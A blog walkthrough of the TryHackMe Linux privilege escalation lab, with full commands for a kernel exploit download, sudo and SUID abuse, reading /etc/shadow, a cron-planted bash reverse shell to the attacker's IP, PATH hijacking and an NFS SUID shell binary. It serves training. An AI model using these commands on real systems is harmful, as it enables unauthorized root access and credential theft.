Prof Paradox
Published on

TryHackMe - Linux Privilege Escalation Writeup

Authors

TryHackMe - Linux Privilege Escalation

Room: tryhackme.com/room/linprivesc Difficulty: Medium  |  Time: ~50 min  |  Type: Walkthrough Author: Muhammad Usman

Learn the fundamentals of Linux privilege escalation. From enumeration to exploitation, get hands-on with eight different privilege escalation techniques.

Linux Privilege Escalation room banner

Executive Summary

Privilege escalation (PrivEsc) is the process by which an attacker turns a foothold with limited access into a foothold with greater access - ideally root. It usually happens after initial access has already been gained, and it opens the door to further objectives such as data theft, ransomware deployment, or lateral movement across a network.

PrivEsc relies on human error, weak configuration, and software weaknesses - misconfigured permissions, outdated kernels, badly written scripts, and so on. Being able to recognise and exploit these weaknesses (and, just as importantly, being able to recognise and fix them) is a core skill for both penetration testers and defenders.

This write-up walks through every technique covered in the room: kernel exploits, sudo misconfiguration, SUID/SGID binaries, Linux capabilities, cron jobs, $PATH hijacking, NFS misconfiguration, and a final capstone challenge that combines several of these ideas.


Initial Access

The room provides direct SSH credentials rather than requiring us to gain a foothold ourselves, so this part of the chain is already solved for us. We're given the low-privileged user karen with the password Password1.

ssh karen@10.201.4.102
SSH login as karen Logging in over SSH as the low-privileged user karen. We land on an Ubuntu 14.04 LTS box.

In a real engagement this initial low-privileged foothold would more commonly come from a leaked credential, a vulnerable service, or a misconfigured remote-access method - SSH with weak or default credentials being a classic example.


Enumeration

With a shell as karen, the next step is to build a picture of the box: what it's running, what we're allowed to do, and who else lives on it.

Hostname

The hostname can occasionally hint at a machine's role inside an organisation (a host called SQL-Server is probably a database server, for example) - although it's trivial to rename a machine, so this is only ever a weak signal.

hostname
hostname output The hostname is wade7363 - not particularly descriptive, but worth checking regardless.

Kernel Version

The kernel version is one of the most valuable enumeration data points on a Linux box, since it lets us search for known, public kernel exploits.

uname -a
uname -a output

/proc/version gives the same information, plus the compiler that built the kernel - useful to know if gcc is available on the target for compiling exploits locally.

cat /proc/version
cat /proc/version output

This tells us we're dealing with Linux kernel 3.13.0-24-generic on Ubuntu 14.04 LTS, built with GCC 4.8.2. A quick search on Exploit-DB for this kernel range turns up a well-known local privilege escalation bug:

Exploit-DB overlayfs CVE-2015-1328 entry EDB-ID 37292 - the overlayfs local privilege escalation, CVE-2015-1328, affecting Linux kernel 3.13.0 < 3.19 on Ubuntu 12.04/14.04/14.10/15.04.

OS Release

/etc/issue can also reveal the OS version, although - like the hostname - it's just a text file and can be edited or removed by an administrator.

cat /etc/issue
cat /etc/issue output

Environment Variables

env lists the current shell's environment. The $PATH variable is particularly interesting, since it tells us where the shell looks for executables, and whether a compiler or scripting language is available that could help us run code or escalate privileges.

env
env output Highlighted: the current user (karen), the $PATH, and the default shell (/bin/sh).

Sudo Rights

sudo -l lists the commands (if any) that the current user can run as root. On this particular host, karen has no sudo rights at all:

sudo -l
sudo -l denied "Sorry, user karen may not run sudo on wade7363." - no sudo rights on this box, so we'll need another route in (the kernel exploit, as it turns out).

User Identity

id shows the current user's UID, GID, and group memberships at a glance. It's also handy for checking another account's group memberships (e.g. id daemon) once you have enough privilege to do so.

id
id command output

Reading /etc/passwd

Every account on the system - human and service - has an entry in /etc/passwd. It's always world-readable, so it's one of the very first files worth checking.

cat /etc/passwd
/etc/passwd output, top half
/etc/passwd output continued, plus id daemon example The listing continues with several system/service accounts. id daemon is shown here as an example of querying another user's UID/GID directly.
/etc/passwd output, karen's entry highlighted karen's own entry: UID 1001, home directory /home/karen.

Each line in /etc/passwd follows a fixed, colon-separated format:

FieldExample (karen)Meaning
Usernamekarenlogin name
Password placeholderxreal hash lives in /etc/shadow
UID10010 = root, 1000+ = regular user
GID1001primary group (see /etc/group)
GECOS / comment(empty)optional full name, phone, etc.
Home directory/home/karen
Shell/bin/bashlogin shell - could also be /bin/sh, /sbin/nologin, etc.

A handy trick for filtering out service accounts and zeroing in on real, interactive users is to grep for home, since genuine user accounts almost always have a home directory under /home:

cat /etc/passwd | grep home
grep home on /etc/passwd This narrows the list down to the accounts that actually matter for enumeration: matt and karen.

Automated Enumeration Tools

Manual enumeration is essential for understanding why something works, but several scripts exist that automate most of the legwork. Worth running (and comparing against each other) on any real engagement:


Privilege Escalation: Kernel Exploits

Armed with the kernel version from enumeration, the next step is to weaponise the overlayfs exploit (CVE-2015-1328) we found on Exploit-DB and deliver it to the target.

On the Kali box, host the exploit source over a simple HTTP server:

python -m http.server 8080
Python HTTP server on Kali

On the target, pull it down with wget:

wget -O /tmp/37292.c http://10.17.55.14:8080/37292.c
wget pulling the exploit onto the target

Compiling directly in /tmp failed the first time round (no write permission to the original working directory), so after cd-ing into /tmp the compile and run succeeded, dropping us into a root shell:

cd /tmp
gcc -o exploit 37292.c
./exploit
whoami
Compiling and running the exploit to get root whoami confirms root once the exploit finishes spawning its threads and patching /etc/ld.so.preload.

With root access, the first flag is sitting in matt's home directory:

cd /home/matt
cat flag1.txt
Reading flag1.txt as root

flag1.txt: THM-28392872729920


Privilege Escalation: Sudo

This section uses a fresh target instance, so don't be surprised that the hostname/IP and karen's sudo rights differ from the kernel-exploit machine above - on this host, karen does have a small set of sudo rights:

sudo -l
sudo -l listing three NOPASSWD commands karen can run find, less, and nano as root with NOPASSWD. While poking around the filesystem here, /home/ubuntu/flag2.txt turned out to already be world-readable - but the room's intended technique is to abuse one of these sudo rights properly, so let's do that the right way.

GTFOBins is an indispensable resource for exactly this situation: it documents how dozens of ordinary Unix binaries can be abused to break out of restricted shells, escalate privileges, or read/write files you otherwise couldn't. Looking up find:

GTFOBins "find" Shell entry find . -exec /bin/sh \; -quit spawns an interactive shell - and because we're running it via sudo, that shell is root.
sudo find . -exec /bin/sh \; -quit
cat flag2.txt
Running the sudo find exploit and reading flag2.txt as root The prompt changes from $ to #, confirming root.

flag2.txt: THM-402028394


Privilege Escalation: SUID/SGID Files

SUID (Set-User-ID) and SGID (Set-Group-ID) are special permission bits that make a binary run with the privileges of its owner (SUID) or owning group (SGID), rather than the privileges of whoever launched it. They're essential for things like passwd (a normal user needs to update a root-owned file), but a SUID binary that hasn't been carefully chosen can become a serious privilege escalation vector.

The standard way to hunt for them:

find / -type f -perm -04000 -ls 2>/dev/null
Listing of SUID/SGID binaries on the system

Most of these are normal system binaries, but it's always worth cross-referencing the list against GTFOBins. In this case, /usr/bin/base64 carries the SUID bit - and GTFOBins documents exactly how to abuse that:

GTFOBins "base64" SUID entry Since base64 runs as its owner (root) when SUID is set, we can use it to read files we wouldn't otherwise have permission to - including /etc/shadow.
base64 /etc/shadow | base64 --decode
Reading /etc/shadow via the SUID base64 binary, top of output
Reading /etc/shadow continued, user2's hash highlighted user2's password hash is now in our hands. Time to crack it with John the Ripper.
john --wordlist=/usr/share/wordlists/rockyou.txt --format=crypt hash.txt
John the Ripper cracking the hash to recover Password1 Cracked in seconds - user2's password is Password1.

Cracking the password wasn't actually necessary to get the flag, though - with the SUID base64 trick already in hand, the flag itself was directly readable the same way:

base64 flag3.txt | base64 --decode
Reading flag3.txt via base64

flag3.txt: THM-3847834


Privilege Escalation: Capabilities

Linux capabilities split up the power traditionally reserved for root into smaller, individually-grantable units. They're a more granular alternative to SUID - for example, a binary that needs to open low-numbered network ports can be given just cap_net_bind_service instead of full root. That's good security design in principle, but a capability that's been handed to the wrong binary is just as dangerous as a careless SUID bit.

getcap -r / 2>/dev/null
getcap listing of binaries with capabilities set Most of these capabilities are benign (ping, traceroute6, etc. need raw sockets to function). The interesting one here is /home/karen/vim, which carries cap_setuid+ep - the capability to change its own process UID.

GTFOBins documents this exact scenario for vim:

GTFOBins "vim" Capabilities entry If vim was compiled with Python support, we can use its embedded Python interpreter to call setuid(0) and then exec a shell - and because the cap_setuid capability is set, that call succeeds even though we aren't root.
cp $(which vim) .
./vim -c ':py import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
cat /home/ubuntu/flag4.txt
Running the vim capability exploit and reading flag4.txt

flag4.txt: THM-9349843


Privilege Escalation: Cron Jobs

Cron jobs run on a schedule with the privileges of whoever owns the job, not whoever happens to be logged in at the time. If a root-owned cron job points at a script that we can edit, we can have root run anything we like, on a timer, without needing any direct privilege of our own.

cat /etc/crontab
Contents of /etc/crontab Buried among the standard cron.hourly/cron.daily jobs is one line that stands out: * * * * * root /home/karen/backup.sh - a script inside karen's own home directory, run every minute, as root.
cat backup.sh
backup.sh original contents The original script just zips up a results folder - nothing special, but since karen owns it, karen can edit it.

We replace the contents with a reverse shell payload:

echo 'bash -i >& /dev/tcp/10.17.55.14/7777 0>&1' > backup.sh
backup.sh edited to contain a reverse shell payload

Then start a listener on Kali and wait for the next minute to tick over:

nc -nlvp 7777
netcat listener on port 7777

The first attempt didn't trigger - a quick permissions check showed the edited script had lost its execute bit, so we fixed that:

ls -l
chmod +x backup.sh
Checking and fixing backup.sh permissions

A minute later, the reverse shell connects back - as root:

cat /home/ubuntu/flag5.txt
Reverse shell connecting back as root and reading flag5.txt

flag5.txt: THM-383000283


Privilege Escalation: PATH

When you type a bare command name (not a full path), the shell searches the directories listed in $PATH, in order, until it finds a matching executable. If any directory in that list is writable by us - and especially if it comes before the legitimate system directories - we can plant our own malicious binary with the same name as one a privileged script or program expects to call, and have it run in our place.

echo $PATH
echo $PATH output

A quick sweep for world-writable directories outside of the usual /dev, /proc noise turns up something interesting:

find / -writable 2>/dev/null | cut -d "/" -f 2,3 | grep -v proc | sort -u
find -writable output, /home/murdoch highlighted /home/murdoch - a writable directory that doesn't belong to us. Worth a closer look.
export PATH=/home/murdoch:$PATH
Prepending /home/murdoch to $PATH

Inside /home/murdoch are two files: a SUID binary called test, and a script thm.py. Running test fails, complaining it can't find something called thm:

ls -ls
./test
ls -ls of /home/murdoch and ./test failing with "thm: not found" test is SUID root and tries to call a program named thm - almost certainly intended to be a relative call that resolves through $PATH. Since we just added /home/murdoch to the front of $PATH, we control exactly what thm resolves to.

We drop our own thm script in that directory and make it executable:

echo "/bin/bash" > thm
chmod +x thm
./test
whoami
Creating the thm script and getting a root shell via ./test test (running as root via its SUID bit) executes our thm, handing us a root shell.
cat /home/matt/flag6.txt
Reading flag6.txt as root

flag6.txt: THM-736628929


Privilege Escalation: NFS

Privilege escalation vectors aren't always purely local - network shares and remote management services can be just as exploitable. NFS (Network File Sharing) configuration lives in /etc/exports, a file that's normally world-readable.

cat /etc/exports
Contents of /etc/exports Three shares are exported, and all three carry the no_root_squash option.

By default, NFS applies root squashing: a connecting client's root user is mapped down to the unprivileged nfsnobody account, and any files it creates lose their root ownership. no_root_squash disables that protection - meaning a remote root user keeps full root privileges on that share. If such a share is also writable, we can create a SUID binary on it from our attacking machine and have it run as root once executed from inside the target.

showmount -e 10.201.83.176
mkdir /tmp/backdoor
sudo mount -o rw 10.201.83.176:/tmp /tmp/backdoor
cd /tmp/backdoor
sudo nano exploit.c
showmount, mounting the NFS share, and writing exploit.c
#include <unistd.h>
#include <stdlib.h>

int main()
{
    setgid(0);
    setuid(0);
    system("/bin/bash");
    return 0;
}
exploit.c contents in nano A minimal SUID shell-spawner: drop to GID/UID 0, then hand back a shell.
gcc exploit.c -o exploit -w
chmod +s exploit
ls -l
Compiling the exploit and setting the SUID bit

Switching back to the target's own view of /tmp confirms the files landed correctly:

cd /tmp
ls -la
Confirming the mounted exploit files appear inside /tmp on the target

The first run failed with a glibc version mismatch between the Kali build environment and the older target:

./exploit
GLIBC version error on first run

Recompiling statically solves that portability problem:

gcc exploit.c -o exploit -w -static
chmod +s exploit
ls -la
Recompiling statically and re-setting the SUID bit
./exploit
whoami
id
find / -name flag7.txt
cat /home/matt/flag7.txt
Running the statically-linked exploit and reading flag7.txt as root

flag7.txt: THM-89384012


Capstone Challenge

The room finishes with a capstone task that drops the hand-holding: no hints about which technique to use, just SSH access as the user leonard and an instruction to escalate.

sudo -l
leonard has no sudo rights No sudo rights for leonard, so that avenue is closed.

A SUID/SGID sweep, on the second pass, turns up our old friend:

find / -type f -perm -04000 -ls 2>/dev/null
find SUID listing with /usr/bin/base64 highlighted /usr/bin/base64 is SUID again - the same trick from earlier in the room applies here.
ls
base64 /home/rootflag/flag2.txt | base64 --decode
Listing the home directory and reading flag2.txt via base64

Capstone flag2.txt: THM-168824782390238

The first flag proved more stubborn. Reconnaissance turned up nothing pointing directly at flag1.txt, so the next move was to use the same SUID base64 trick to dump password hashes from /etc/shadow for both root and the other local user, missy, and try cracking them offline:

base64 /etc/shadow | base64 --decode
/etc/shadow dump, root's hash highlighted
/etc/shadow dump continued, missy's hash highlighted

root's hash didn't crack against rockyou.txt in a reasonable time, so that attempt was abandoned:

john --wordlist=/usr/share/wordlists/rockyou.txt root_hash.txt
John the Ripper failing to crack root's hash, session aborted

missy's hash, however, cracked almost instantly:

john --wordlist=/usr/share/wordlists/rockyou.txt missy_hash.txt
John the Ripper successfully cracking missy's hash missy's password turned out to be Password1 - the same weak password reused elsewhere in the room.
su missy
find / -name "flag1.txt" 2>/dev/null
cat /home/missy/Documents/flag1.txt
Switching to missy and reading flag1.txt

Capstone flag1.txt: THM-42828719920544

Room completion badge - Linux Privilege Escalation complete

Flags Captured

FlagValueTechnique
flag1.txtTHM-28392872729920Kernel exploit - overlayfs (CVE-2015-1328)
flag2.txtTHM-402028394Sudo rights abuse - find via GTFOBins
flag3.txtTHM-3847834SUID abuse - base64
flag4.txtTHM-9349843Linux capabilities - vim (cap_setuid)
flag5.txtTHM-383000283Cron job hijack - backup.sh
flag6.txtTHM-736628929$PATH hijacking - /home/murdoch
flag7.txtTHM-89384012NFS misconfiguration - no_root_squash
Capstone flag2.txtTHM-168824782390238SUID abuse - base64
Capstone flag1.txtTHM-42828719920544Cracked password (missy)

Note: in the capstone challenge, root's password hash could not be cracked within a reasonable time using rockyou.txt, so full root access on that particular machine wasn't achieved through password cracking. Both capstone flags were obtained through the SUID base64 trick and through compromising the secondary user missy instead.


Key Takeaways

  • Enumerate before you exploit. Hostname, kernel version, sudo -l, SUID/SGID binaries, capabilities, cron jobs, $PATH, and NFS exports are all cheap to check and frequently reveal the way in.
  • Outdated kernels are still a real risk. A box running a three-year-old kernel with a public, weaponised exploit is a single wget and gcc away from full compromise.
  • GTFOBins should be a reflex. Any time sudo -l, a SUID bit, or a Linux capability points at a binary you don't immediately recognise as dangerous, check GTFOBins before moving on.
  • Anything a privileged process reads, writes, or executes is an attack surface - cron scripts, $PATH-resolved binaries, and writable NFS shares all reduce to the same underlying idea: if we can control input that root will trust, we control root.
  • Weak, reused passwords undermine every other control. Password1 cracked in seconds and was reused across at least two separate accounts in this room - a timely reminder of how much damage credential reuse causes in the real world.